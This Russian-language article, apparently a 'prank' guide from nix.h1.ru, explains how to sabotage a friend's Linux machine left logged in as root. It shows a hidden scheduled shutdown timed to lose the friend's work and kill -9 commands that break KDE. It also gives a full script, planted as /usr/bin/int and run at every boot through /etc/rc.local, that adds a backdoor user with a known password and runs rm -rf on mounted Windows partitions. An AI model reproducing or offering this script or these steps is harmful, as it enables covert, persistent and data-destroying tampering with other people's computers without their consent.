Оторвись над другом-линуксоидом!

Источник: http://nix.h1.ru

Автор: SHuRuP
email: mailto:[email protected]?subject=nix
www: http://nix.h1.ru/
icq: 76011665

  В связи с очень быстрым развитием OS Linux ежеминутно респятся новые юзеры этой замечательной операционной системы, следовательно шанс, что у тебя есть друг-начинающий_nix_гуру возрастает до размеров последних ChangeLog'ов ядра линукса в битах, умноженных на количество найденных переполнений буфера во всевозможных приложениях для unix-like систем за последний месяц. Из всего этого логично будет, если этот твой друг юзает X-Windows+KDE и, безусловно, сидит под root'ом, а у тебя уже не однажды всплывала идея показать ему, где сисадмины зимуют...

1) halting system
  Требуется: KDE + root + совсем немного времени.
  Пока обладатель компа с загруженным пингвином под root идет варить пельмени, жмем +, вызываем терминал (если нет нигде похожей иконки, то смотрим в KDE меню -> Terminals -> XTerm) и набиваем shutdown -h X (лучше добавить в конце символ "&"), где X - время в минутах до начала выключения компьютера (постарайся сделать так, чтобы именно в этот момент линуксоид работал над чем-нибудь важным или играл в самую любимую гамесу, в которой нет сейвов ;), можно использовать и с другими ключами (см. shutdown --help для хелпа), например, интересен ключ "r" - ребут системы. После проделанного западла необходимо спрятать окошко консоли и появившегося предупреждения aka broadcast message, если стоят миниатюрные окошки каждого дополнительного desktop'а в нижней панели. Теперь опять тыкаем + до возвращения в изначальный рабочий стол и, радостно потирая мышку о коврик, поджидаем жертву.
P.S. Если при попытке перегрузиться в другой десктоп ничего не получается, то кликай right-button'ом хвостатого по рабочему столу, далее Configure Desktop -> Number of Desktops, устанаваливаем еще парочку desktop'ов.

2) loading eleet scripts
  Требуется: console/x-window + root + достаточное количество времени.
  Эта фишка уже будет работать совсем не только в KDE... Ее идея: запугать неподготовленного пользователя странными действиями сразу после загрузки linux'а. Загружаем текстовый редактор и создаем файл /usr/bin/int (или что-нибудь похожее, его название не должно вызывать никаких подозрений), то есть, например, в консоли - emacs /usr/bin/int или vi /usr/bin/int , а в иксах - gedit /usr/bin/int или kwrite /usr/bin/int. В этот файл записываем примерно следующее:

#!/bin/sh
#первый скрипт, загрузка проца и создание объемного файла с результатами поиска по шаблону *.* в /main01
echo "* eleet script 01 coded by SHuRuP *" >/main01 && echo "trying to find *.*" >>/main01 && find / *.* -print 1>>/main01 2>/dev/null &

#второй скрипт, загрузка процессора и харда путем копирования различных библиотек
#создание юзера eleetuser с пароем 31337, создание логов в /main02
echo "* eleet script 02 coded by SHuRuP *" >/main02 && echo "trying to create user" >>/main02 && adduser -d /home/eleet -p 31337 eleetuser && echo "eleetuser has been successfully created" >>/main02 &
mkdir /home/eleer/lib 2>/dev/null && echo "/home/eleet/lib has been successfully created" >>/main02 && cp -R /lib /home/eleet/lib 2>/dev/null && echo "libs from /lib has been successfully copied" >>/main02 &
mkdir /home/eleet/lib2 2>/dev/null && echo "/home/eleet/lib2 has been successfully created" >>/main02 && cp -R /usr/lib /home/eleet/lib2 2>/dev/null && echo "libs from /usr/lib has been successfully copied" >>/main02 &

#третий скрипт, попытка монтирования cd-rom'а и дискеты, логирование в /main03
echo "* eleet script 03 coded by SHuRuP *" >/main03 && echo "trying to mount devices" >>/main03 &
mount /mnt/cdrom 2>/dev/null &
mount /mnt/floppy 2>/dev/null &

#четвертый скрипт, попытка удалить возможные каталоги с windows, логирование в /main04
echo "* eleet script 04 coded by SHuRuP *" >/main04 && echo "trying to remove windows" >>/main04 &
rm -rf /mnt/win 2>/dev/null &
rm -rf /mnt/windows 2>/dev/null &
rm -rf /mnt/win_c 2>/dev/null &
rm -rf /mnt/win_d 2>/dev/null &

#мессага, оповещающая об успешной загрузке скрипта (исключительно для устрашения ;)
echo "* eleet scripts v0.01pre-beta coded by SHuRuP loaded successfully! *"

  После сохранения такого файла надо поставить права на возможность его выполнения:
chmod +x /usr/bin/int
  Теперь остается немного подредактировать /etc/rc.local, чтобы наше творчество выполнялось при каждой загрузке любимого пингвина. Для этого достаточно написать в терминале:
echo "/usr/bin/int" >>/etc/rc.local
  Все! Отныне со следующим и последующими запусками пингвина каждый будут создаваться файлы с логами, начинать трещать хард, немного подгружаться процессор, монтироваться дискета и одноглазый, удаляться windows! ;)
P.S. Этот скрипт не будет в идеале выполняться для разных машин, так как у каждого могут быть свои директории монтирования виндов, сидюка и флоппи, да и вообще всего предусмотреть невозможно, но по умолчанию обычно linux'ы настроены именно так, и прикол рассчитан как раз на такой случай. Но если известно, куда и что примонтировано (для этого достаточно выполнить команду: cat /etc/fstab), то, лишь немного подправив скрипт, можно смело идти в бой!

3) x-hell
  Требуется: KDE + полминуты.
  Наверное, тебе известно, что X-Window построен на процессах, а любой процесс может быть убит => по теореме SHuRuP'а получаем, что можно убить часть процессов иксов в результате чего работа в них превратится в настоящий ад, что и требовалось доказать (читай "чего мы и добиваемся"). Дождавшись удачного момента, не раздумывая, пишем "ps -x", после этого начинаем пристально раглядывать, что нам ответили - где-то будет что-нибудь вроде такого:

xxx ? S 0:00 kdeinit: klauncher
xxx ? S 0:00 kdeinit: kded
xxx ? S 0:00 kdeinit: kxkb
xxx ? S 0:00 kdeinit: kxmlrpcd
xxx ? S 0:00 kdeinit: Running...
xxx ? S 0:00 kdeinit: kwin
xxx ? S 0:00 kdeinit: kdesktop
...etc...

Тааак... кто этому сомнительному kdeinit разрешал забивать наш процессор и оперативную память какой-то фигней?? ;) Именно этой фигней мы и займемся, ибо у нас и так каждый бит на счету! А осталось нам только поубивать все то, что завоевало наименьший респект в наших сердцах. Смерть процесса наступает во время близкого контакта с командой kill -9 pid (или kill -KILL pid, где pid - идентификатор этого процесса). Теперь о результатах падений некоторых особей kdeinit'а:

dcopserver - погибает всё кроме окон, которые были открыты (полезно заметить, что +, + больше не в силе);
kwin - пропадают "оболочки" всех окон так, что нельзя закрыть ни одну такую программу ни с помощью мышки (панелька с крестиком успешно укатывается в /dev/null), ни с помощью клавы (Alt+F4 также уезжает на каникулы);
kdesktop - успешно умирают все иконки рабочего стола;
kicker - исчезает нижняя панель с меню Kde а-ля "Пуск" (остается только KDE Keyboard Tool и Klipper, если они вообще там когда-либо жили, для их уничтожения припасен процесс kxkb, после падения которого также перестает меняться раскладка клавиатуры);
klipper - смерть Klipper'а;
kwrited - отлично подойдет для прикола #1, так как теперь после вызова shutdown'а не появится никакого сомнительного окошка с broadcast message'ом, и, соответственно, теперь не прокатит КДЕшная версия команды write.